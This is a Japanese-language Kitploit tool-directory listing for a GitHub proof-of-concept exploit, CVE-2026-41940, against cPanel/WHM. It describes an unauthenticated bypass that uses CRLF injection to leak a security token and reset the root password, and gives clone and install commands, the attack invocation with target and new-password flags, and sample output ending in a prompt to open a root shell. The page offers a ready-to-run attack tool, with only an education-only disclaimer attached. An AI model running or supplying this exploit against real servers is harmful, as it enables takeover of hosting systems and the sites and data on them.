Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/rosemary1337/cve-2026-41940
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubrosemary1337/cve-2026-41940

CVE-2026-41940

CVE-2026-41940の概念実証エクスプロイト。CRLFインジェクションを使用してセキュリティトークンを漏えいさせ、rootパスワードをリセットする、cPanel/WHMにおける未認証の認証バイパスです。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-41940 自動エクスプロイト

Python Status Author


概要

CVE-2026-41940 は、cPanel/WHM を標的とした概念実証(PoC)エクスプロイトです。
このエクスプロイトは、CRLFインジェクションを利用してセキュリティトークンを漏洩させ、WHMインターフェースへのルートレベルのアクセスを取得する認証不要の認証バイパスを実証します。これにより、ルートパスワードの変更などの操作が可能になります。

免責事項: このPoCは教育目的のみです。許可なくシステムに対して使用しないでください。


機能

  • ホスト名の自動検出: 正規のホスト名を自動的に特定し、Hostヘッダー制限をバイパスします。
  • 事前認証セッションの生成: インジェクション用の有効な初期セッションを生成します。
  • CRLFインジェクション: ヘッダーへのインジェクションを利用して cp_security_token を漏洩させます。
  • セッションの伝播: 漏洩したトークンをサーバーの認証キャッシュに強制的に注入します。
  • ルートパスワードのリセット: バイパス成功時にWHMのルートパスワードを自動的に変更します。
  • 最小限の依存関係: 標準の requests ライブラリで動作します。

インストール

  1. リポジトリをクローンします:
root@kitploit:~
git clone https://github.com/Rosemary1337/CVE-2026-41940.git
cd CVE-2026-41940
  1. 依存関係をインストールします:
root@kitploit:~
pip install requests

要件: requests、urllib3


使用方法

root@kitploit:~
python3 CVE_2026_41940.py --target <TARGET_URL> --password <NEW_PASSWORD>

例:

root@kitploit:~
python3 CVE_2026_41940.py --target https://target.com:2087 --password MyNewRootPass123!

引数


出力

コンソールには以下が表示されます:

  • ステータスメッセージ [0-4]
  • 成功 [+]
  • 失敗 [!]
  • 情報 [*]

例:

root@kitploit:~
[0] hostname = target.local
[1] minting a preauth session...
    session base = :XLNfFj4XjKuS4f9V
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
    HTTP 307, leaked token = /cpsess0555762073
[3] firing do_token_denied to propagate raw -> cache...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.110.0.12"}
[*] changing the root password
    passwd -> HTTP 200
[+] now just login to https://target.com:2087 and use the terminal option to get a root shell

セキュリティと免責事項

  • 教育およびテスト目的のみで使用してください。
  • 明示的な許可なくWebサイトを攻撃しないでください。
  • 管理されたラボ環境または許可された侵入テストでのみ使用してください。
ツールをダウンロード
フラグ説明必須デフォルト
--targetWHMターゲットURL(例: https://host:2087)はい-
--passwordrootユーザーの新しいパスワードはい-
--hostnameHost: ヘッダーの上書きいいえ自動